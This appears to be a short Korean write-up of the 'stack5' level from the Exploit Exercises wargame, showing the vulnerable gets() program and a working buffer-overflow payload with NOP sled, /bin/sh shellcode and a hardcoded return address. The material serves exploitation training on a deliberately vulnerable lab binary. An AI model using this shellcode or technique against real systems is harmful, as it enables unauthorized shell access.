pwnable/exploit-exercise
stack5
secretpack
2017. 2. 24. 21:10
- #include <stdlib.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <string.h>
- int main(int argc, char **argv)
- {
- char buffer[64];
- gets(buffer);
- }
쉘따라는 소리인것 같다.
보다 쉽게 풀기위해 쉘코드를 사용할 것이고 컴파일 옵션으로 -zexecstack을 줄 것이다.
80byte에서 eip가 완전히 덮히니 76byte를 덮은 후에 eip주소가 온다.
payload
$(python -c 'print "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*33 + "\x6c\xd6\xff\xff"';cat) | ./stack5